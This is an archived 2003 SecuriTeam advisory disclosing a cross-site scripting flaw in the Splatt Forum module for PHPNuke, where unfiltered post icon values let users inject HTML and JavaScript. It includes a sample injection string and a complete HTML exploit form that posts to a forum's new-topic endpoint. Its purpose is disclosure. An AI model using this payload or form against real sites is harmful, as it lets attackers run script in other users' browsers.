[UNIX] Splatt Forum XSS Vulnerability in icon Posting

From: SecuriTeam (support_at_securiteam.com)
Date: 07/21/03

  • Next message: SecuriTeam: "[UNIX] Default CGI.pm Settings Vulnerable to Cross-site Scripting"
    To: list@securiteam.com
    Date: 21 Jul 2003 19:24:50 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    Beyond Security in Canada

    Toronto-based Sunrays Technologies is now Beyond Security's representative in Canada.
    We welcome ISPs, system integrators and IT systems resellers
    to promote the most advanced vulnerability assessment solutions today.

    Contact us at 416-482-0038 or at canadasales@beyondsecurity.com

    - - - - - - - - -

      Splatt Forum XSS Vulnerability in icon Posting
    ------------------------------------------------------------------------

    SUMMARY

     <http://www.splatt.it/> Splatt Forum is a forum engine for PHPNuke
    powered websites. A Cross-Site Scripting vulnerability has been found in
    the product allowing attackers to insert malicious HTML and JavaScript
    code into existing web pages.

    DETAILS

    Any user can inject malicious HTML or JavaScript code whenever he creates
    a new post. This is because icon images are not filtered for malicious
    content.

    Instead of using the default icon HTML code, you can create a personalized
    version such as: icon.gif"><script>alert('bug');<script><anytag="

    This will result in the following code being added to the posted data:
    <img src="icon.gif"><script>alert('bug');<script><anytag="" etc.>

    Exploit code:
    < html>
    < body>
    < script>
    <!-- Modify here -->
    var
    address='http://TargetURL/gate.html?mop=modload&name=Forums&file=newtopic';
    </script>

    <!-- Exploit form -->
    < script>
    document.write("<form action="+address+" method='post' name='coolsus'>");
    </script>
    Numero forum: < input type=text name=forum value=1 size=3><br>
    Username: < input CLASS=textbox TYPE="TEXT" NAME="username" SIZE="25"
    MAXLENGTH="40"><br>
    Password: < input CLASS=textbox TYPE="PASSWORD" NAME="password" SIZE="25"
    MAXLENGTH="25"><br>
    Soggetto: < input CLASS=textbox TYPE="TEXT" NAME="subject" SIZE="75"
    MAXLENGTH="75"><br>
    Messaggio:<br><textarea name="message" rows="10" cols="75"
    wrap="VIRTUAL"></textarea><br>
    < input type=hidden name=bbcode value=0>
    < input type=hidden name=smile value=0>
    < input type=hidden name=notify value=0>
    <b>Inject code:</b> <input type=text name=image_subject
    value='icon1.gif">HTML CODE<!-- "' size=100><br>
    < input type="submit" name="submit" value=Invia class="Button">
    </form>
    </body>
    </html>

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:blangels@libero.it>
    BlackAngels.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: SecuriTeam: "[UNIX] Default CGI.pm Settings Vulnerable to Cross-site Scripting"

    Relevant Pages